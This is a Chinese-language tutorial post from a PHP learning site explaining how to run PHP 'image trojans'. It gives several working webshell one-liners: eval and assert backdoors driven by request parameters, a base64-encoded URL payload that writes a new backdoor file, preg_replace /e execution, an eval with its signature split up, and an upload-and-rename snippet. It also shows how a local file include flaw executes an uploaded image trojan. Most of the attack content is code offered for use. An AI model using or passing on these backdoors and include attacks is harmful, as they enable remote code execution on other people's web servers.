登录  /  注册

php图片木马怎么运行

王林
发布: 2019-09-19 11:54:19
原创
12192人浏览过

php图片木马怎么运行

php图片木马的的运行方法

1、标准的写法,直接通过eval执行php代码

@eval ($_POST['code']);
登录后复制

2、动态执行assert生成一个木马文件(隐藏性最好的一种)

@$_GET['a']($_GET['code']);
登录后复制

3、使用方法:从url中传入下面参数执行后会在当前目录生成一个c.php的文件

/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,
base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
登录后复制

a参数为eval时会报错(因为eval不是函数)木马生成失败,为assert时同样报错,但会生成木马。

4、使用preg_replace执行代码(里面前面只要用一个的任意字符串就可以,如果不一样的话命令可能会被执行多次)

@preg_replace("/re/e", $_POST['code'], "re");
登录后复制

5、把特征码打散

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
登录后复制

6、重命名任意文件

$reg="c"."o"."p"."y";
$reg($_FILES['filename']['tmp_name'],$_FILES['filename']['name']);
登录后复制

include的漏洞使用方法

有时候我们会上传一些图片木马但是却不能执行,这个时候如果有一个include的漏洞,那么图片木马就可以执行啦。

如果php代码里有一个include($_GET['controller']) 且还有一个url路径为:/index.php?controller=user,这个看起来就是一个根据参数包含执行对应控制器的代码,但是如果url路径里的参数改成这样:/index.php?uid=/upload/images/muma.jpg,这个时候木马就执行啦。

以上内容仅供参考!

推荐教程:PHP视频教程

以上就是php图片木马怎么运行的详细内容,更多请关注php中文网其它相关文章!

智能AI问答
PHP中文网智能助手能迅速回答你的编程问题,提供实时的代码和解决方案,帮助你解决各种难题。不仅如此,它还能提供编程资源和学习指导,帮助你快速提升编程技能。无论你是初学者还是专业人士,AI智能助手都能成为你的可靠助手,助力你在编程领域取得更大的成就。
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
关于CSS思维导图的课件在哪? 课件
凡人来自于2024-04-16 10:10:18
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2024 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号